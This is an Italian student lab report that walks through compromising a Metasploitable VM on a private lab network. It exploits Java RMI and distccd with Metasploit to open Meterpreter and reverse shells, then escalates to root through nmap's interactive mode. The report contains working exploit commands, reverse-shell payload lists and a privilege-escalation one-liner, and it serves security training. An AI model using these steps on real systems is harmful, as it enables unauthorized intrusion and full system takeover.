

Progetto S7/L5

24/01/25

CONSEGNA

Traccia: La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099. Si richiede allo studente di sfruttare la vulnerabilità con Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.77.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.77.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

1) Configurazione di rete.

2) Informazioni sulla tabella di routing della macchina vittima

SVOLGIMENTO

Per adempiere alla consegna dell'esercizio andremo prima a configurare le macchine, successivamente identificheremo l'exploit adatto ad aprire la nostra sessione Meterpreter e poi lanceremo i comandi da quest'ultima per visualizzare le informazioni richieste.

1

Cominciamo assegnando alle nostre macchine (che sono posizionate su rete interna) gli indirizzi IP richiesti

kali: 192.168.77.111

metasploitable: 192.168.77.112

```

(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.77.111 netmask 255.255.255.0 broadcast 192.168.77.255
    inet6 fe80::2b3e:921a:2485:2557 prefixlen 64 scopeid 0<link>
    ether 08:00:27:32:08:7d txqueuelen 1000 (Ethernet)
    RX packets 51 bytes 9119 (8.9 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 68 bytes 9683 (9.4 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth1: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether 08:00:27:58:5d:a6 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)-[~]
$ ping 192.168.77.112
PING 192.168.77.112 (192.168.77.112) 56(84) bytes of data.
64 bytes from 192.168.77.112: icmp_seq=1 ttl=64 time=0.546 ms
64 bytes from 192.168.77.112: icmp_seq=2 ttl=64 time=0.335 ms
64 bytes from 192.168.77.112: icmp_seq=3 ttl=64 time=0.288 ms
64 bytes from 192.168.77.112: icmp_seq=4 ttl=64 time=0.268 ms
^C
— 192.168.77.112 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3076ms
rtt min/avg/max/mdev = 0.268/0.359/0.546/0.110 ms

```

```

METASPLOITABLE 2 [In esecuzione] - Oracle VirtualBox
File Macchina Visualizza Inserimento Dispositivi Aiuto

TX packets:129 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:37881 (36.9 KB) TX bytes:37881 (36.9 KB)

msfadmin@metasploitable:~$ ifconfig
eth0
    Link encap:Ethernet HWaddr 08:00:27:69:e8:f2
    inet addr:192.168.77.112 Bcast:192.168.77.255 Mask:255.255.255.0
    inet6 addr: fe80::a00:27ff:fe69:e8f2/64 Scope:Link
    UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
    RX packets:34 errors:0 dropped:0 overruns:0 frame:0
    TX packets:96 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:1000
    RX bytes:5028 (4.9 KB) TX bytes:16485 (16.0 KB)
    Base address:0xd020 Memory:f0200000-f0220000

lo
    Link encap:Local Loopback
    inet addr:127.0.0.1 Mask:255.0.0.0
    inet6 addr: ::1/128 Scope:Host
    UP LOOPBACK RUNNING MTU:16436 Metric:1
    RX packets:138 errors:0 dropped:0 overruns:0 frame:0
    TX packets:138 errors:0 dropped:0 overruns:0 carrier:0
    collisions:0 txqueuelen:0
    RX bytes:42061 (41.0 KB) TX bytes:42061 (41.0 KB)

msfadmin@metasploitable:~$ _

```

effettuiamo un test 'ping' tra le due macchine come visto nella prima immagine ,per verificarne la connessione.

2

Sfruttiamo il comando **'nmap'** sulla porta fornita dall'esercizio per visualizzarne lo stato e il servizio dedicato, aggiungendo

-sV per identificare anche la versione del servizio

```
(kali@kali)-[~]  
$ nmap -p 1099 192.168.77.112 -sV  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 05:24 EST  
Nmap scan report for 192.168.77.112  
Host is up (0.00041s latency).  
  
PORT      STATE SERVICE VERSION  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
  
Service detection performed. Please report any incorrect results at https://nmap.org/  
Nmap done: 1 IP address (1 host up) scanned in 19.16 seconds
```

31

Ora che abbiamo le informazioni che ci servono procediamo con avviare **metasploit**

tramite il comando

'msfconsole'

e andiamo a rintracciare il nostro **exploit**.

utilizzeremo il comando

'search rmi'

siccome conosciamo il nome del servizio **java-rmi**

```
162 \_ target: Windows Dropper
163 exploit/multi/browser/chrome_object_create
164 \_ target: No sandbox escape (--no-sandbox)
165 \_ target: Windows 7 (x64) sandbox escape via C
166 exploit/linux/http/gravcms_exec
167 exploit/windows/fileformat/greenshot_deserialize_
168 auxiliary/admin/hp/hp_imc_som_create_account
169 exploit/unix/webapp/horde_unserialize_exec
170 exploit/multi/http/horizontcms_upload_exec
171 \_ target: PHP
172 \_ target: Linux
173 \_ target: Windows
174 exploit/multi/http/ibm_openadmin_tool_soap_welcom
175 exploit/windows/fileformat/ibm_pcm_ws
176 \_ target: IBM WorkStation 5.9 (Windows XP SP3)
177 \_ target: IBM WorkStation 5.9 (Windows 7, Wind
178 exploit/linux/misc/igel_command_injection
179 \_ target: Secure Terminal Service
180 \_ target: Secure Shadow Service
181 exploit/unix/fileformat/imagemagick_delegate
182 \_ target: SVG file
183 \_ target: MVG file
184 \_ target: PS file
185 exploit/windows/http/ivanti_avalanche_filestoreco
186 exploit/windows/misc/ivanti_avalanche_mdm_bof
187 exploit/linux/http/ivanti_csa_unauth_rce_cve_2021
188 \_ target: Unix Command
189 \_ target: PHP Command
190 \_ target: Linux Dropper
191 exploit/multi/misc/java_jmx_server
192 auxiliary/scanner/misc/java_jmx_server
193 exploit/multi/misc/java_rmi_server
194 \_ target: Generic (Java Payload)
195 \_ target: Windows x86 (Native Payload)
196 \_ target: Linux x86 (Native Payload)
197 \_ target: Mac OS X PPC (Native Payload)
198 \_ target: Mac OS X x86 (Native Payload)
199 exploit/multi/browser/java_rmi_connection_impl
200 exploit/multi/browser/java_signed_applet
201 \_ target: Generic (Java Payload)
202 \_ target: Windows x86 (Native Payload)
203 \_ target: Linux x86 (Native Payload)
204 \_ target: Mac OS X PPC (Native Payload)
205 \_ target: Mac OS X x86 (Native Payload)
206 exploit/multi/http/jenkins_metaprogramming
```

4

Selezioniamo il servizio identificato con

`'use exploit/multi/misc/java_rmi_server`

successivamente andiamo a fornire le informazioni inerenti

RHOST : 192.168.77.112 (macchina target)

LHOST: 192.168.77.111 (macchina attaccante)

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.77.112
RHOST => 192.168.77.112
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.77.112
RHOST => 192.168.77.112
msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.77.111
LHOST => 192.168.77.111
```

5

procediamo andando a selezionare il **payload** adatto a ciò che vogliamo far, ovvero aprire una sessione **Meterpreter**, verifichiamo cosa abbiamo a disposizione col comando

show payloads

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads

```

#	Name	Disclosure Date	Rank
0	payload/cmd/unix/bind_aws_instance_connect Connect (via AWS API)	.	normal
1	payload/generic/custom	.	normal
2	payload/generic/shell_bind_aws_ssm AWS API)	.	normal
3	payload/generic/shell_bind_tcp TCP Inline	.	normal
4	payload/generic/shell_reverse_tcp TCP Inline	.	normal
5	payload/generic/ssh/interact Connection	.	normal
6	payload/java/jsp_shell_bind_tcp TCP Inline	.	normal
7	payload/java/jsp_shell_reverse_tcp TCP Inline	.	normal
8	payload/java/meterpreter/bind_tcp TCP Stager	.	normal
9	payload/java/meterpreter/reverse_http HTTP Stager	.	normal
10	payload/java/meterpreter/reverse_https HTTPS Stager	.	normal
11	payload/java/meterpreter/reverse_tcp TCP Stager	.	normal
12	payload/java/shell/bind_tcp Stager	.	normal
13	payload/java/shell/reverse_tcp TCP Stager	.	normal
14	payload/java/shell_reverse_tcp TCP Inline	.	normal
15	payload/multi/meterpreter/reverse_http meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)	.	normal
16	payload/multi/meterpreter/reverse_https meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)	.	normal

Notiamo che abbiamo diverse opzioni per Payload **meterpreter**, andremo a selezionare

payload/java/meterpreter/reverse_tcp

così da far sì che sia la macchina target a connettersi a noi e fornirci poi accesso alla shell.

6

Procediamo quindi impostando il payload selezionato nel punto precedente col comando

set payload payload/java/meterpreter/reverse_tcp

e andiamo a verificare che tutte le nostre impostazioni siano corrette col comando

show options

```
msf6 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payl
  RHOSTS    192.168.77.112  yes       The target host(s), see https://docs.metasploit.
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen o
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is ran
  URIPATH                   no        The URI to use for this exploit (default is rand

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.77.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

Possiamo infine lanciare l'exploit con il comando **'exploit'**

7

Una volta aperta la sessione Meterpreter andiamo a lanciare i comandi

ifconfig per conoscere le impostazioni di rete del target

route per avere una visuale sulla tabella di routing

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.77.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe69:e8f2
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.77.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes
=====

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:fe69:e8f2	::	::		

```
meterpreter >
```

Possiamo quindi considerare completato l'esercizio.

BONUS

CONSEGNA

BONUS 1:

Effettuare l'attacco sul servizio escalation per diventare root .

Documentare e spiegare accuratamente i passaggi del privilege escalation Esercizio Traccia e requisiti distccd (da Kali contro Metasploitable) e dopo realizzare una privilege.

SVOLGIMENTO

Per poter adempiere alla consegna, dovremo sfruttare il servizio distccd per ottenere un accesso **utente (demon in questo caso)** e successivamente identificare un metodo per eseguire un escalation dei privilegi.

1

il servizio distccd è genericamente in esecuzione sulla porta 3632 perciò procediamo prima di tutto eseguendo una scansione della porta con **nmap**

nmap -p 3632 192.168.77.112 -sV

-sV per conoscere anche la versione del servizio

```
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ nmap -p 3632 -sV 192.168.77.112

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-24 03:36 EST
Nmap scan report for 192.168.77.112
Host is up (0.00045s latency).

PORT      STATE SERVICE VERSION
3632/tcp  open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in 19.24 seconds
```


2

Ora che conosciamo il servizio e la versione avviando metasploit e lanciamo una ricerca con il nome del servizio per vedere che opzioni di exploit ci offre in merito:

search distccd

```
msf6 > search distccd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/misc/distcc_exec	2002-02-01	excellent	Yes	DistCC Daemon Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/misc/distcc_exec`

3

Utilizziamo il comando

use unix/misc/distcc_exec

per impostare l'exploit e successivamente forniamo i valori di

RHOST / LHOST

noteremo anche che il **payload** è stato configurato di default

cmd/unix/revers_bash

```
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.77.112
rhost => 192.168.77.112
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.77.111
lhost => 192.168.77.111
msf6 exploit(unix/misc/distcc_exec) > show options
```

Poi verifichiamo il tutto lanciando

show options

```
msf6 exploit(unix/misc/distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   | 192.168.77.111  | no       | The local client address                                                                               |
| CPORT   | 192.168.77.111  | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.77.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 3632            | yes      | The target port (TCP)                                                                                  |


Payload options (cmd/unix/reverse_bash):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.77.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name             |
|----|------------------|
| 0  | Automatic Target |


```

5

ora che abbiamo configurato il tutto proviamo a lanciare il comando

exploit

```
msf6 exploit(unix/misc/distcc_exec) > show options
Module options (exploit/unix/misc/distcc_exec):


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   | 192.168.77.111  | no       | The local client address                                                                               |
| CPORT   | 192.168.77.111  | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.77.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 3632            | yes      | The target port (TCP)                                                                                  |


Payload options (cmd/unix/reverse_bash):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.77.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |


Exploit target:


| Id | Name             |
|----|------------------|
| 0  | Automatic Target |


view the full module info with the info, or info -d command.
msf6 exploit(unix/misc/distcc_exec) > exploit
[*] Handler failed to bind to 192.168.77.111:4444:- -
[*] Handler failed to bind to 0.0.0.0:4444:- -
[*] 192.168.77.112:3632 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[*] Exploit completed, but no session was created.
```

Come vediamo presentiamo un errore, non sono sicuro della motivazione ma immagino che l'invocazione di **/bash** non sia compatibile col sistema metasploitable. perciò utilizzeremo un **payload** più generico, lanciamo

show payloads

```
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads
-----
#   Name                                     Disclosure Date   Rank   Check   Descripti
on
--   -
0   payload/cmd/unix/adduser                 .                normal No      Add user
with useradd
1   payload/cmd/unix/bind_perl               .                normal No      Unix Comm
and Shell, Bind TCP (via Perl)
2   payload/cmd/unix/bind_perl_ipv6          .                normal No      Unix Comm
and Shell, Bind TCP (via perl) IPv6
3   payload/cmd/unix/bind_ruby               .                normal No      Unix Comm
and Shell, Bind TCP (via Ruby)
4   payload/cmd/unix/bind_ruby_ipv6          .                normal No      Unix Comm
and Shell, Bind TCP (via Ruby) IPv6
5   payload/cmd/unix/generic                  .                normal No      Unix Comm
and, Generic Command Execution
6   payload/cmd/unix/reverse                  .                normal No      Unix Comm
and Shell, Double Reverse TCP (telnet)
7   payload/cmd/unix/reverse_bash             .                normal No      Unix Comm
and Shell, Reverse TCP (/dev/tcp)
8   payload/cmd/unix/reverse_bash_telnet_ssl .                normal No      Unix Comm
and Shell, Reverse TCP SSL (telnet)
9   payload/cmd/unix/reverse_openssl         .                normal No      Unix Comm
and Shell, Double Reverse TCP SSL (openssl)
10  payload/cmd/unix/reverse_perl             .                normal No      Unix Comm
and Shell, Reverse TCP (via Perl)
11  payload/cmd/unix/reverse_perl_ssl         .                normal No      Unix Comm
and Shell, Reverse TCP SSL (via perl)
12  payload/cmd/unix/reverse_ruby             .                normal No      Unix Comm
and Shell, Reverse TCP (via Ruby)
13  payload/cmd/unix/reverse_ruby_ssl         .                normal No      Unix Comm
and Shell, Reverse TCP SSL (via Ruby)
14  payload/cmd/unix/reverse_ssl_double_telnet .                normal No      Unix Comm
and Shell, Double Reverse TCP SSL (telnet)
```

al punto **6** troviamo la versione generica **reverse** come serve a noi, ma senza bash, proviamo a selezionarlo col comando

set payload cmd/unix/reverse

e ri-proviamo a lanciare il comando **exploit**

```

msf6 exploit(unix/misc/distcc_exec) > exploit
[*] Started reverse TCP double handler on 192.168.77.111:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo g0hkD5WX4Q1boGGM;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "g0hkD5WX4Q1boGGM\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.77.111:4444 → 192.168.77.111)
24 03:55:12 -0500

whoami
daemon

```

6

Come vediamo dall'immagine precedente questa volta l'exploit ha avuto successo andando ad aprire la nostra **command shell** come utente

daemon

Ora dobbiamo trovare un modo per eseguire la **privilege escalation**

l'utente **daemon** non dispone infatti dei permessi **root** perciò, tra le varie possibilità che avevamo ho scelto di utilizzare quella a me più familiare (anche perché già testata in precedenza sul sistema Metasploit) ovvero la **vulnerabilità** fornitoci dalla versione datata di

nmap

presente sulla macchina Metasploitable.

lanciamo

-nmap --version

```

RX bytes:42061 (41.0 KB) TX bytes:42061 (41.0 KB)
msfadmin@metasploitable:~$ nmap --version
Nmap version 4.53 ( http://insecure.org )
msfadmin@metasploitable:~$

```

(lo screenshot è preso da metasploitable solo perchè avevo già chiuso le macchine e dimenticato di scattarlo dalla shell aperta su kali)

7

Conoscendo la versione direi 'più che obsoleta' è possibile effettuare una rapida ricerca su google (duck duck nel mio caso) per ottenere informazioni sulle vulnerabilità inerenti la **privilege escalation**.

Privilege Escalation with Nmap

If you have sudo rights to execute nmap, it's possible to escalate with nmap using two methods which would depend on the version installed on the machine. We can check the version of nmap using `nmap -v`.

Nmap Interactive Mode

For nmap versions 2.02 to 5.21, an interactive mode can be used with nmap to execute shell commands.

```
$ sudo nmap --interactive
> !sh
```

This should give you an elevated shell.

FONTE: <https://w0lfram1te.com/privilege-escalation-with-nmap>

utilizzeremo quindi il comando

nmap -i

per andare a creare una sessione interattiva

e successivamente utilizziamo

! sh

per ottenere a nostra volta una shell con privilegi **root**

```
7.5317.110/pt_chown
nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> ! sh
```

8

```
nmap> ! sh
whoami
root
```

Lanciando il comando

whoami

possiamo infine verificare che siamo riusciti con successo ad ottenere privilegi

root

sulla nostra shell

CONCLUSIONI

L'esercizio ha dimostrato come sfruttare le vulnerabilità di due servizi (Java RMI e distccd) presenti su una macchina Metasploitable per ottenere l'accesso remoto con Meterpreter e successivamente eseguire un'escalation di privilegi.

Questo progetto evidenzia l'importanza di aggiornare costantemente i servizi e la necessità di limitare i privilegi degli utenti, riducendo così i rischi di attacchi.

Se ad esempio ci fossimo trovati davanti una versione di nmap più recente, avremmo dovuto ricorrere ad altri metodi per poter ottenere i privilegi richiesti, complicando notevolmente il nostro 'lavoro' o andando a renderlo impossibile

Daniele Balani